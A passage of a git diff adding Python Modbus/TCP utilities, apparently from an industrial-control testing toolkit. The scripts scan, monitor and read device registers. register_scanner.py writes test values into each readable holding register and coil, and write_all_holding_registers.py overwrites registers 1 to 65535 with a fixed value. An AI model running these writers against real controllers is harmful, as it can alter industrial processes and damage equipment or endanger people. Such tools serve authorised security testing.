address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + 